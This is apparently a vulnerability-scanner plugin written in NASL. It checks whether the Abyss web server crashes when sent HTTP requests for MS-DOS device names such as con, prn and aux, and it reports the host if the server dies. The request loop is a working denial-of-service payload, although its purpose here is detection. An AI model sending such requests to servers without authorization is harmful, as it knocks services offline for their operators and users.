# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.15563");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"OSVDB", value:"11006");
script_tag(name:"cvss_base", value:"7.1");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:N/A:C");
script_name("Abyss httpd DoS");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2004 David Maciejak");
script_family("Denial of Service");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Upgrade your web server to the latest version.");
script_tag(name:"summary", value:"It was possible to kill the web server by sending a MS-DOS device
names in an HTTP request.");
script_tag(name:"impact", value:"An attacker may use this flaw to prevent this host from performing its
job properly.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port( default:80 );
if( http_is_dead( port:port, retry:4 ) )
exit( 0 );
foreach dev( make_list( "con", "prn", "aux" ) ) {
req = string( "GET /cgi-bin/", dev, " HTTP/1.0\r\n",
"Host: ", get_host_ip(), "\r\n\r\n" );
http_send_recv( port:port, data:req );
if( http_is_dead( port:port ) ) {
security_message( port:port);
exit( 0 );
}
}
exit( 99 );
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